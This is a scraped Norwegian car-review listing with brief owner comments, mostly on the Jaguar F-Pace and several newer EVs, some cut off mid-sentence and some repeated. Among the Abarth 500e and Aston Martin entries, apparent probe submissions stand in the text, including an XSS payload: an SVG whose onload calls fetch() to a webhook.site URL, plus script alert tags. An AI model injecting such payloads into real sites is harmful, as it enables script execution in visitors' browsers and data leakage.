Jaguar F-Pace (2021)

Meget bra bil.

Jaguar F-Pace (2019)

Sportslig og god å kjøre,selv uten luftfjæring som en ikke får på denne.Fantastisk firhjulsdrift når det trengs,bakhjulsbasert drift ellers.

Jaguar F-Pace (2018)

Meget bra bil. Komfort, stil og nok effekt til å henge med. Hadde MB GLC AMG før denne. Katastrofe. Hadde flere Jaguarer før det, og da ble valget lett. For jeg har aldri hatt noe trøbbel med

Jaguar F-Pace (2018)

Ganske badass SUV. 10/10 på design, råere enn de aller fleste konkurrenter etter min mening. Kjøregleden er fantastisk, og praktisk er den også.

Jaguar F-Pace (2018)

Nydelig bil med masse kjøreglede.

Jaguar F-Pace (2018)

Bilen har en herlig akslerasjon og kjøreegenskaper på svingete veier. Merker ikke at det er en relativt stor Suv. Har en Xk 8 som sammenligning

Jaguar F-Pace (2018)

En herlig bil som skiller seg ut i mengden av tyske premiumbiler. Dette er en bil som vekker oppmerksomhet i trafikken.

Jaguar F-Pace (2017)

Super langtursbil men også meget behagelig på kortere turer. Ligger godt på veien til å være såpass stor, minimal krengning. Litt bred med sine 2,07 med innfelte speil for små parkeringsplasser

Jaguar F-Pace (2017)

Super langtursbil men også meget behagelig på kortere turer. Ligger godt på veien til å være såpass stor. Litt bred med sine 2,07 med innfelte speil for små parkeringsplasser.

Jaguar F-Pace (2017)

Super langtursbil men også meget behagelig på kortere turer. Ligger godt på veien til å være såpass stor. Litt bred for små parkeringsplasser.

Jaguar F-Pace (2017)

Super langtursbil men også meget behagelig på kortere turer. Ligger godt på veien til å være såpass stor. Litt bred for små parkeringsplasser.

Jaguar F-Pace (2017)

En fantastisk bil. Hadde jaguar XE tidligere med samme motor, girkasse og AWD. F-Pacen er litt slappere, bruker litt mer diesel, men er minst like komfortabel og langt romsligere. Går utenpå alle X3

Jaguar F-Pace (2017)

Veldig fornøyd med bilen. God på vinterføre og en merker ikke fart, veldig behagelig å kjøre.

Jaguar F-Pace (2017)

Nydelig bil og noe annet enn hva "alle andre" kjøper. God plass både til passasjerer og bagasje.

Volvo XC40 (2024)

Veldig fornøyd med bil, komfort og spesielt støy som er lavere enn de fleste biler i denne klasse/ pris. Ingen problemer med bilen!

Skoda Enyaq (2025)

Brukt som drosje, har per nå 75000km. Veldig stor oppgradering å få batterivarme. Regenerativ bremsing anbefales ikke på vinterføre. Får minus på forbruk da bilen gir meg 270-330km på kaldeste

Volvo EX30 (2025)

Mekanisk fin bil men med et makkverk av software som er full av feil. Se Volvo ex30 forum for tidenes lengste og gjentakende feil rapporter. Volvo ser ikke ut til å være interessert å ordne opp des

Skoda Enyaq (2023)

Syns utseende å bilen er tøff, ellers kan jeg ikke sa hva den skal være bedre på enn sine konkurrenter. Sitte stillingen passer meg dårlig, men fruen liker det. Pluss at den har soltak Elendi

Mazda CX-5 (2013)

Bilens største utfordring med skyactive motor er relatert til partikkelfilter, koksing av inntaksmanifold og tett sumpfilter, som kan lede til havari. Annet er utkobling av turbo på grunn av feil ve

Renault 5 E-Tech (2025)

Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te

Citroën e-C4 (2025)

Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve

Aston Martin DB9 GT (2017)

alert("total")

Aston Martin DB9 GT (2017)

totalvurderingtest

Abarth 500e (2024)

Abarth 500e (2024)

Abarth 500e (2024)

xxxfooo4

Abarth 500e (2024)

<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>

Volvo EX40 (2026)

Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass

Ford Explorer EV (2025)

Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.